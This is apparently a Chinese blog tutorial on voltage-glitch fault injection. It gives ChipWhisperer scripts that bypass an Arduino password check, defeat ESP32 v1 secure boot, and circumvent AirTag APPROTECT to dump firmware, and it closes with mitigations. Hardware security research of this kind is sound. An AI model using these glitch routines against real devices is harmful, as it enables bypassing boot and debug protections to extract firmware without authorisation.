【硬件安全】一文带你了解单片机故障注入知识,绕过保护提取固件

在物联网设备的物理安全评估期间,目标之一是利用调试接口或可访问的芯片来研究设备的工作原理。理想的情况是提取完整的文件系统,以找到一种方法来获取对设备的 root 访问权限。然后,可以更轻松地检查正在运行哪些服务,并在需要时对其进行调试,以最终控制目标。在审计开始时,通常会在调试接口上遇到禁止访问其全部功能的保护措施,或者在禁止对其进行任何修改的引导链上遇到保护措施。毛刺是尝试绕过这种保护的一种方法。在这篇博文中,我们将通过几个研究案例深入探讨电压毛刺,以了解其工作原理以及它如何提供帮助。

介绍

故障注入是一种用于评估设备安全性的技术,包括故意将故障或错误诱发到硬件组件中,以绕过安全功能,例如调试保护或密码身份验证。这些注入应该在特定时刻和受控的持续时间内发生,以损坏内存事务或跳过指令。可以使用以下方法实现:

  • 硬件设备。

  • 软件方法。

  • 硬件和软件相结合的混合方法。

这种攻击在支付卡或内容保护等敏感领域被广泛使用,并且从几年前开始成为一种可访问的利用方法。

让我们考虑以下场景:密码检查是作为返回 or 的语句实现的。在第一种情况下,用户被拒绝,但返回时,您已登录。以下是注入故障时可能发生的示例情况:if 1

  • 可以注入特定值,从而导致身份验证绕过。1

  • 生成随机字节(更有可能)。根据实现的不同,某些保护仍可能被绕过。

  • 可以跳过指令,例如语句本身。if

在非常低的级别上,某些寄存器已损坏,并且设备可以在非标准状态下运行。你现在可以猜到这种技术可能非常有效。过去曾使用故障注入攻击来破坏安全措施:Xbox360 重置故障攻击、STM32 闪存读出,绕过 MediaTek MT8163V 中的安全启动或者最近对大疆无人机的成功故障注入攻击.

在使用其中一种测试用例执行测试用例之前,让我们深入研究不同的故障注入技术:电压毛刺。本文将细分如下:

  • 介绍

    • 时钟毛刺

    • 光故障注入

    • 电磁故障注入

    • 电压毛刺

  • 创建简单的故障

  • 出现故障的日志记录提示

  • 绕过安全启动

  • 研究案例:AirTag

  • 故障注入注意事项

  • 保护您的设备

  • 结论

时钟毛刺

基于时钟的故障注入是一种攻击,可应用于提供外部时钟的设备。通过在正常定时的时钟脉冲周期之间注入时钟毛刺脉冲,在非常合适的时间,可以从算术逻辑单元 (ALU) 使用的原始时钟信号中移除或插入两个合法时钟信号之间的边沿。发生这种情况时,可能会触发意外行为,例如处理器跳过指令。幸运的是,这可能是负责安全检查的人。

来自 ChipWhisperer 存储库的故障注入课程给出了一个很好的示例,说明对 Atmel AVRM ATMega 328P 的攻击:

系统不是从 FLASH 加载每条指令并执行整个执行,而是有一个管道来加快执行过程。这意味着在检索下一条指令时正在解码一条指令,如下图所示:

图片

但是,如果我们修改时钟,我们可能会遇到系统没有足够的时间来实际执行指令的情况。请考虑以下情况,其中有效地跳过了 Execute #1。在系统有时间实际执行它之前,另一个时钟边沿出现,导致微控制器开始执行下一条指令:

图片

但是,如果目标使用内部时钟信号,则此方法通常不适用。

光故障注入

光学故障注入领域实际上包含许多不同的技术,从使用X射线的昂贵设备到针对闪存单元上的单个位,到使用相机闪光灯导致随机故障以恢复AES密钥的廉价闪光灯.

在硬件安全评估实验室中,用于安全评估的主要方法是激光故障注入 (LFI)。光脉冲激光器用于物理操作和扭曲数据,导致正在运行的设备出现毛刺.

主要目标是在芯片上找到注射成功机会更大的区域。在执行此类攻击时,必须考虑 X、Y 和 Z 坐标,以找到良好的注入空间位置。

这种技术的标准设备是:

  • 控制装置。

  • 电动工作台。

  • 激光源。

  • 物镜。

然而,这种技术也有一些副作用,例如组装设置成本高昂,并且需要从电路板上移除芯片,这可能会损坏设备。这是由于从芯片背面进行注入,即使已经开发了从正面执行的新技术.

总而言之,光学故障注入技术以高成本提供了高精度和可重复性。

电磁故障注入

电磁 (EM) 发射会影响模拟模块和数字模块,尽管它们的物理特性不同。为了改变时钟的数字模块,由于高压脉冲发生器和带有铁氧体磁芯的线圈(注入探头),使用短暂的电磁脉冲在特定的时钟周期内注入故障。这种注射方法在成本和精度之间提供了良好的权衡。

与激光故障注入不同,电磁故障注入不需要对芯片进行拆焊,只需在二维上即可找到合适的空间位置。此外,与时钟或电压毛刺不同,无需在芯片上焊接或连接电线。

下图显示了 PicoEMP 攻击 Raspberry Pi10:

图片

EM 故障注入是攻击者的实用技术。它提供了良好的精度,并且比电压或时钟毛刺贵一点,但远低于激光故障注入。此外,没有使用拆焊或其他侵入性方法,因此保留了 SoC 的完整性。可用于此类攻击的方法是在使用网格扫描 CPU 表面时运行无限循环。对一个点进行多次测试,然后将探头移动到另一个点(通常约为 1 毫米远),依此类推,以扫描整个 SoC。

与 EMFI 相关的应用示例是 Riscure 的工作,导致故障注入中断 ESP32 CPU,绕过启动时的安全启动摘要验证.

电压毛刺

电压毛刺的目标是在足够短的时间内精确控制微控制器的电源。虽然这样做时间过长会导致芯片复位,但正确执行此操作会使其进入未定义状态,从而导致朦胧行为。这意味着为故障找到一个很好的宽度,以及良好的时机。

图片

这是发生电压故障注入时示波器的屏幕截图。我们可以看到,它首先在短时间内拉近GND,然后上升到近14V,然后恢复到原来的状态。这种对功率大小及其持续时间的操纵可能导致指令行为错误,无法执行额外的跳跃,或更改整数的值。

这种方法的主要问题之一是存在一些组件,其目标特别在于将电源保持在正确的电压,例如去耦电容器,并且可能需要对其进行拆焊。将注射装置焊接得尽可能靠近目标也可能有所帮助。

在本文的其余部分,我们将重点介绍这种注射技术。

创建简单的故障

为了对本博文中详述的不同目标执行电压毛刺,使用了 ChipWhisperer Lite.

短路是使用 MOSFET 实现的,MOSFET 是一种晶体管,其主要目标是控制电导率,或者根据施加到其栅极的电压量,在其源极和漏极之间可以流动多少电流。它可以建模为一个简单的电控开关。在这里,它被放置在与电源轨平行的位置,以将VCC短暂地短路到地。

首先,我们在没有任何约束的情况下执行一个简单的故障。为此,使用Arduino Uno并将SoC放在面包板上。这样一来,在没有任何干扰电容器的情况下控制微控制器接地就相当简单了。在其他情况下,为了确保我们的毛刺尽可能有效,我们可能需要移除连接到Vcore和复位线的去耦电容。这可以使用标准烙铁和一些耐心来实现。

图片

应连接回去的引脚至少是引脚 2、3 (RX / TX)、7 (VCC)、9 和 10 (时钟)。它们处理基本电源和操作,以及与微控制器的串行通信。如果要将代码发送到Arduino(重置),则需要引脚1。示波器用于检查是否发生毛刺,以及其探头是否连接到引脚 7。下面是一个小架构,可以更好地理解连接:

图片

使用 Arduino SDK 编写并上传到 Uno 上,用 C++ 编写并上传到 Uno 上:

void setup() {
  Serial.begin(115200);
}

void loop() {
  int ctr = 0; 
  for(int i=0; i<2; i++){
    for(int j=0; j<2; j++){
      delay(100);
      Serial.print("i: ");
      Serial.print(i);
      Serial.print(" j:");
      Serial.print(j);
      Serial.print(" ctr:");
      Serial.println(ctr);
      ctr++;
    }
  }
}

这只是一个双循环,其计数器从 0 增加到 3。并从 0 增加到 1。以下是用于故障的 Python 脚本:forij

import chipwhisperer as cw

cw.set_all_log_levels(cw.logging.CRITICAL)

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'

scope = cw.scope()

# We adjust the clock to fit with the ATMega 328p frequency.
scope.clock.clkgen_freq = 8E6 

# Set clock to internal chipwhisperer clock
scope.glitch.clk_src = "clkgen"

#"enable_only" - insert a glitch for an entire clock cycle based on the clock of the CW (here at 8MHz so 0,125 micro seconds)
scope.glitch.output = "enable_only"

# Enable Low power and High power transistors.
scope.io.glitch_lp = True
scope.io.glitch_hp = True
# LP provides a faster response, so sharper glitches. HP can provide better results for targets that have strong power supplies or decoupling capacitors that ca not be removed.

scope.io.vglitch_reset() #it simply sets scope.io.glitch_hp/lp to False, waits delay seconds, then returns to their original settings. In short, reset the glitching module.

# How many times the glitch is repeated
scope.glitch.repeat = 1

# Send the glitch
scope.glitch.manual_trigger()

scope.dis()

发送整个时钟周期的毛刺,并将时钟频率调整为与 ATMega 328p 时钟相同。该参数控制毛刺重复的次数。我们从一个非常低的值开始,然后增加它(我们使用 50 次重复的步长,但较低的值可用于降低损坏设备的风险)以查看 Arduino 的行为情况。repeat

图片

在示波器上,我们看到正在发送的毛刺:

图片

我们尝试将光标放在毛刺的开始和结束时,并将时钟配置为 8MHz,因此时钟周期为 1/(8*10^6) = 1.25*10^-7 s。毛刺重复 500 次,因此 1,25*10^-7 * 500 = 0.0000625 s = 62,5us。测量值为 63,6us,因此关于与测量相关的误差,一切正常。

正如你在这里看到的,Arduino Uno重新启动了,因为故障太强大了。正常行为和设备复位之间有一个非常小的限制,在故障注入中发生不常见的事情。经过一番尝试,我们发现它在重复故障 380 次时开始重新启动。因此,我们重复了从 1 到 380 的故障,并检查了 Arduino 的行为:

for i in range(380):
    scope.io.vglitch_reset(0.5)
    scope.glitch.repeat = i
    scope.glitch.manual_trigger()

我们录制了迷你通信会话并启动了脚本。我们来分析一下它的内容:

i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 1 j:0 ctr:2
i: 1 j:1 ctr:3
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 1 j:0 ctr:2
i: 1 j:1 ctr:3
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 1 j:0 ctr:2
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0 
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1
i: 0 j:0 ctr:0
i: 0 j:1 ctr:1

如您所见,我们设法跳过了说明。起初,它从 0 到 3,然后到 2,最后不超过 1。我们可以在示波器上看到,在脚本执行过程中,毛刺的重复次数越来越多:

图片

如果我们想修改一些值,我们可以清楚地看到,我们的故障在这里太强大了,因为我们绕过了一些迭代。我们修改了脚本以发送更窄的故障并减少重复次数。for

import chipwhisperer as cw
[...]
scope.clock.clkgen_freq = 192E6 # Maximum frequency of the internal clock of the CW
[...]
# insert a glitch for a portion of a clock cycle
scope.glitch.output = "glitch_only" 
[...]

gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "repeat"])
gc.set_range("width", 0, 35)
gc.set_range("repeat", 1, 35)
# The steps could be reduced to be more precise
gc.set_global_step(1)

for glitch_setting in gc.glitch_values():
    scope.glitch.width = glitch_setting[0]
    scope.glitch.repeat = glitch_setting[1]
    print(f"{scope.glitch.width} {scope.glitch.repeat}")
    scope.glitch.manual_trigger()
    scope.io.vglitch_reset()
scope.dis()

图片

我们已经在脚本执行期间成功修改了值!

i: 0 j:-16777215 ctr:-16777215
[…]
i: -8023668 j:1 ctr:-805831672
i: 1 j:0 ctr:-805831671
i: 1 j:1 ctr:-805831670
[...]

出现故障的日志记录提示

我们之前的故障不是很精确,因为我们只是在随机时间发送故障,并等待异常行为。在以下示例中,在 Arduino Uno 上编写了登录提示脚本。

String PASSWORD = "passw";

bool checkPass(String buffer) {
  for (int i = 0; i < PASSWORD.length(); i++) {
    if (buffer[i] != PASSWORD[i]) {
      return false;
    }
  }
  return true;
}

void setup() {
  Serial.begin(115200);
  Serial.println("Password:");
}

void loop() {
  if (Serial.available() > 0) {
    char pass[PASSWORD.length()];
    Serial.readBytesUntil('\n', pass, PASSWORD.length());
    bool correct = checkPass(pass);
      if (correct) {
      Serial.println("Logged in!");
      Serial.flush(); 
      exit(0);
    } else {
      Serial.println("Incorrect password.");
      Serial.println("Password:");
    }
  }
}

我们还增强了攻击脚本,以检测 Uno 是否需要在故障后重置。

import chipwhisperer as cw
import time
import serial
import os

cw.set_all_log_levels(cw.logging.CRITICAL)

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'

scope = cw.scope()

scope.clock.clkgen_freq = 192E6
scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "glitch_only" 

scope.io.glitch_lp = True
scope.io.glitch_hp = True


gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "repeat"]) 
gc.set_global_step(0.4)
gc.set_range("width", 1, 45)
gc.set_range("repeat", 1, 50)
gc.set_step("repeat", 1)

for glitch_setting in gc.glitch_values():
# Try to connect to the arduino uno using the serial connection:
    try:
        with serial.Serial("/dev/ttyACM1", 115200, timeout=1) as ser:
            scope.glitch.width = glitch_setting[0]
            scope.glitch.repeat = glitch_setting[1]
            print(f"Width: {scope.glitch.width}, repeat: {scope.glitch.repeat}")
# Send the glitch and a wrong password
            scope.glitch.manual_trigger()
            ser.write(b'tatat')
            scope.io.vglitch_reset()
# If the serial connection breaks, use uhubctl to poweroff / poweron the usb port on the USB hub where the Arduino Uno is plugged
    except Exception as e:
        os.system('/usr/sbin/uhubctl -S -p 2 -a cycle > /dev/null 2>&1')
        time.sleep(5)
        pass

scope.dis()

图片

在这里,我们不仅绕过了提示,而且在大约 30 分钟后恢复了密码!这可能是由于调用 时出现不当行为所致。println

绕过安全启动

使用故障注入可以击败的安全措施之一是安全启动。为了说明这一点,我们将使用 ESP32 v1(较新版本针对电压故障注入攻击进行了修补)。

图片

首先,让我们配置一个安全的启动环境。安装 ESP SDK 后,我们设置了一个可刷新的软件引导加载程序,以防以后需要修改13.我们在 examples 文件夹中复制一个 “hello world” 项目,并对其进行一些修改以显示自定义消息:

#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"

void app_main()
 {
     while(1)
     {
     printf("This is a Secure boot.\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

接下来,我们生成一个安全启动签名密钥 ()。对于编译选项,我们使用当正确设置项目时可用的方便。在 下,我们设置以下参数:espsecure.py generate_signing_key --scheme ecdsa256 securebootkey.keymenuconfigidf.py menuconfigSecurity features

图片

此外,有必要更改分区表的偏移量,在:Partition Table

图片

然后,我们构建引导加载程序:

$ python3 ../tools/idf.py bootloader
Executing action: bootloader
Running ninja in directory esptool/esp-idf/hello_world/build
[...]
Bootloader built and secure digest generated.
Secure boot enabled, so bootloader not flashed automatically.
Burn secure boot key to efuse using:
espefuse.py burn_key secure_boot_v1 esptool/esp-idf/hello_world/build/bootloader/secure-bootloader-key-256.bin
First time flash command is:
esptool.py --chip esp32 --port=(PORT) --baud=(BAUD) --before=default_reset --after=no_reset write_flash --flash_mode dio --flash_freq 40m --flash_size 2MB 0x1000 esptool/esp-idf/hello_world/build/bootloader/bootloader.bin
==============================================================================
To reflash the bootloader after initial flash:
esptool.py --chip esp32 --port=(PORT) --baud=(BAUD) --before=default_reset --after=no_reset write_flash --flash_mode dio --flash_freq 40m --flash_size 2MB 0x0 esptool/esp-idf/hello_world/build/bootloader/bootloader-reflash-digest.bin
==============================================================================
[...]
Bootloader build complete.

其余步骤非常简单,只需遵循日志中打印的命令即可:

$ espefuse.py burn_key secure_boot_v1 esptool/esp-idf/hello_world/build/bootloader/secure-bootloader-key-256.bin
$ esptool.py --chip esp32 --before=default_reset --after=no_reset write_flash --flash_mode dio --flash_freq 40m --flash_size 2MB 0x1000 esptool/esp-idf/hello_world/build/bootloader/bootloader.bin

引导加载程序部分完成,安全密钥在保险丝上烧毁。最后,应用程序闪烁:

$ idf.py flash

Executing action: flash
Serial port /dev/ttyUSB0
Connecting....
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting......
Detecting chip type... ESP32
Running ninja in directory esptool/esp-idf/hello_world/build
[...]
Hash of data verified.

Leaving...
Staying in bootloader.
Done

重新启动后:

rst:0x1 (POWERON_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff00c0,len:11288
load:0x40078000,len:25304
load:0x40080400,len:4
load:0x40080404,len:3884
entry 0x40080650
I (0) cpu_start: App cpu up.
I (37) boot: ESP-IDF v5.2-dev-1962-g53ff7d43db-dirty 2nd stage bootloader
[...]
I (704) main_task: Calling app_main()
This is a Secure boot.

一切正常。为了弄乱安全启动,我们用这个小 C 代码创建另一个项目:

#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"

void app_main()
 {
     while(1)
     {
     printf("This is not a Secure boot, h4ck3rz!!\n");
     vTaskDelay(1000 / portTICK_PERIOD_MS);
     }
 }

然后,我们强制应用的刷机过程:

$ idf.py flash --force

Executing action: flash
Serial port /dev/ttyUSB0
Connecting.....
Detecting chip type... Unsupported detection protocol, switching and trying again...
Connecting......
Detecting chip type... ESP32
[...]
Leaving...
Hard resetting via RTS pin...
Done

查看启动日志:

rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:7132
ho 0 tail 12 room 4
load:0x40078000,len:15708
load:0x40080400,len:4
ho 8 tail 4 room 4
load:0x40080404,len:3884
secure boot check fail
ets_main.c 371 
ets Jun  8 2016 00:22:57

启动过程失败,是时候出现故障了!让我们看一下 SoC 的数据表,它是 QFN 6x6:

图片

这里感兴趣的是 VDD3P3_RTC 和 VDD3P3_CPU,根据文档,它们是:

ESP32 的数字引脚分为三个不同的电源域:

  • VDD3P3_RTC

  • VDD3P3_CPU

  • VDD_SDIO

VDD3P3_RTC也是RTC和CPU的输入电源。VDD3P3_CPU也是CPU的输入电源。

RTC 是一种独立于主处理器运行的低功耗时钟,即使在主处理器处于深度睡眠或断电状态时也可用于跟踪时间。ESP32 的研究已经完成,LimitedResults 就此写了一篇博文15.根据它,为了提供最大的压差电压,需要对VDD3P3_RTC和VDD3P3_CPU进行毛刺。

示波器捕获是通过探测串行输出(青色)上的 SPI 闪存来实现的16和 SoC 的 UART TX 引脚(黄色,底部以绿色解码)用于链接这两个活动:

图片

下面是两个捕获,第一个捕获在设备成功启动时,第二个捕获在设备失败时捕获。

图片

我们可以在这些捕获中识别出一个区域,当启动过程成功时,该区域要长得多。如果我们在解码部分稍微放大一点,它对应于底部捕获的字符串和顶部捕获的启动过程的开始。所以这个区域应该被我们的 ChipWhisperer 故障了。secure boot check failed

需要测量 ESP32 上电与执行安全启动的时间间隔,以了解何时出现故障。我们的脚本中将添加一个外部触发器,链接到 ESP32 的重置。然后,我们将所有组件连接在一起,并编写一个脚本来使 ESP32 开发板出现故障:

图片

import chipwhisperer as cw
import time
import os

[...] 

## Function to reboot the ESP32
def reboot_flush():
    global scope
    scope.io.nrst = False # Pull reset to low
    os.system('/usr/sbin/uhubctl -S -p 2 -a off > /dev/null 2>&1') # Switch off the device
    time.sleep(0.2) # Wait for the capacitors to be discharged
    scope.arm()
    scope.io.nrst = "high_z" # Put reset in high impedance
    os.system('/usr/sbin/uhubctl -S -p 2 -a on > /dev/null 2>&1') # Switch on the device

scope = cw.scope()

scope.clock.clkgen_freq = 100E6
scope.glitch.clk_src = "clkgen" 
#scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" # Glitch based on the trigger
scope.trigger.triggers = "tio4" # The trigger module uses some combination of the scope’s I/O pins to produce a single value, which it uses for edge/level detection or UART triggers. This is connected to the reset line.


gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["repeat", "ext_offset"]) 
gc.set_global_step(1)
gc.set_range("repeat", 1, 30)
gc.set_step("ext_offset", 2300000, 2600000) # number of clock cycles to wait before glitching based on the clock of the CW. These values were measured thanks to the previous traces on the oscilloscope.
[..]


for glitch_setting in gc.glitch_values():
    scope.glitch.repeat = glitch_setting[0]
    scope.glitch.ext_offset = glitch_setting[1]
    reboot_flush()
    scope.io.vglitch_reset()

scope.dis()

经过数小时的重置,我们能够绕过安全启动!

图片

研究案例:AirTag

现在我们已经很好地了解了电压毛刺的内部工作以及如何绕过安全措施,让我们尝试另一个目标:AirTag。它是 Apple 开发的跟踪设备,自 2021 年以来一直可用,在发布仅几个月后,安全研究人员就能够提取固件以开始对其进行逆向工程.AirTag 内部的 SoC 是 nRF532,并提供单线调试 (SWD) 接口,允许将 GDB 连接到芯片进行完整调试。但是,SoC 具有称为 APPROTECT 的安全功能,可禁用调试功能。如果启用了 APPROTECT,我们如何转储闪存?有限的结果表明,使用故障注入攻击可以绕过它而且由于所有这些都有很好的文档记录,因此很容易复制。此外,科林·奥弗林(Colin O'Flynn)还进行了研究并发布了AirTag的所有测试点.

图片

名字描述
VCC1型+3.0V 输入(1 个中的 2 个 - 两者都需要)
VCC2型+3.0V 输入(2 个中的 2 个 - 两者都需要)
接地
5VCC2 (连接到 VCC2 输入)
6VCC1 (连接到 VCC1 输入)
7接地
28虚拟核心
35nRF 球 F1 (SWCLK)
36nRF 球 G1 (SWDIO)

根据论文,当 Vcore 在启动后开始略有下降时,我们必须出现故障。可以使用示波器和光标检索精确的偏移量:

图片

因此,我们通过引脚 5 和 6 为 AirTag 供电,等待大约 1.6ms(延迟),通过引脚 28 执行毛刺,并尝试通过引脚 35 和 36 启用 SWD 调试总线。如果失败,请重新启动设备并更改故障设置。如果它有效,我们可以使用 OpenOCD 和 J-Link 执行闪存转储。将启动该命令,并根据其退出状态评估失败或成功。

设置如下所示:

图片

让我们运行故障!

import chipwhisperer as cw
import os
import time

[...]

## Function to reboot the AirTag
def reboot_flush():
    global scope
    scope.io.target_pwr = False 
    time.sleep(0.7) # There is a lot of capacitance on the AirTag, so we have to wait a bit for the powering off.
    scope.arm()
    scope.io.target_pwr = True 

[...]

scope.clock.clkgen_freq = 100E6
scope.glitch.clk_src = "clkgen" 
#scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" 
scope.trigger.triggers = "tio4"

gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["repeat", "ext_offset"]) 
gc.set_global_step(1)
gc.set_range("repeat", 1, 30)
gc.set_step("ext_offset", 100000, 200000) 

[..]


for glitch_setting in gc.glitch_values():
    scope.glitch.repeat = glitch_setting[0]
    scope.glitch.ext_offset = glitch_setting[1]
    reboot_flush()
    exit_status = os.system('openocd -f /usr/share/openocd/scripts/interface/jlink.cfg -f /usr/share/openocd/scripts/target/nrf52.cfg -c "init;dump_image dump.bin 0x0 0x80000;exit"')

    if exit_status == 0:
    	print("Dump done.")
    	break
    scope.io.vglitch_reset()
scope.dis()

我们运行了几次,并在几分钟到几小时内成功利用,具体取决于延迟和脉冲宽度参数。

图片

故障注入注意事项

故障不是一门精确的科学。湿度、温度、电线长度等参数可能会影响电压毛刺的成功。如果试图复制此处描述的攻击,本研究中使用的参数可能略有不同。

此外,我们的触发器对 ESP32 和 AirTag 并不可靠。当电压较高时,我们使用 Vcc 来触发毛刺,但在电源线完全稳定之前可能会发生扰动,因此延迟的开始可能会在我们想要之前触发。以下是增加成功概率的非详尽项目列表:

  • 在毛刺导轨上使用尽可能短的电缆,或使用直接焊接在其上的MOSFET。

  • 使用FPGA器件分析数据总线(例如SPI)上的消息,以便在精确的时间出现毛刺。

  • 使用具有目标 SoC 的开发板,运行手工制作的固件,并尝试根据触发源、延迟范围和导线长度来表征毛刺参数。

保护您的设备

存在软件和硬件缓解措施来防止故障注入攻击.以下是其中的一些:

  • 软件:

    • 仔细检查:连续比较项目或变量两次。

    • 将布尔比较替换为按位运算。

    • 在敏感操作或可观察事件之前添加随机时间延迟。

    • 在内存中复制数据,或存储相反的数据。

    • 添加校验和。

  • 硬件:

    • BOD“欠压检测器”:其主要功能是监控微控制器的功率,并在电压电平低于最低电平时将内核置于安全状态做出反应.

    • 基于PLL(锁相环)的传感器电路,用于在芯片上无功检测EMI.

    • 使用传感器检测解封装以防止激光故障注入.

结论

电压故障注入可能是对基本芯片的一种非常有效的攻击,并为进一步破坏设备开辟了新的可能性,激光和电磁故障注入等新技术更有效,但也需要更昂贵的工具。然而,由于他们的技能和决心,人们仍然找到了使用更便宜的设备进行故障注入的方法!

  • 19
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
LVS(Linux Virtual Server)是一种基于 Linux 系统的负载均衡集群技术,它主要用于将网络流量分发到多个服务器上,以提高系统的可靠性、可扩展性和性能。 LVS 集群一般包括四个组件:调度器(LVS 调度器)、前端服务器(负载均衡器)、后端服务器(真实服务器)和存储服务器(用于共享数据)。首先,调度器接收来自客户端的请求,然后根据配置的调度算法(如轮询、加权轮询、最小连接数等)将请求分发到多个前端服务器。前端服务器接收到请求后,通过相应的负载均衡算法将请求转发到后端的真实服务器上进行处理。在整个过程中,存储服务器用于存放共享的数据,以确保所有的真实服务器都能获取到相同的数据,并提供一致的服务。 LVS 集群的优点是能够提高网站的稳定性和可靠性,当某一台服务器出现故障时,调度器会自动将请求分发到其他可用的服务器上,从而保证服务的连续性。同时,LVS 集群还能够通过增加前端服务器和后端服务器的数量来提高系统的性能和吞吐量,以满足不断增长的用户需求。 在实际应用中,LVS 集群需要合理配置,包括选择合适的调度算法、调整每台服务器的权重、选择适当的硬件设备等。此外,还需要及时监控集群的运行状态,及时发现和解决故障,以确保整个系统的正常运行。 总的来说,LVS 负载均衡集群是一种强大而高效的集群技术,能够帮助企业提高系统的可靠性和性能,是现代互联网应用中不可或缺的重要组成部分。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我爱单片机.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值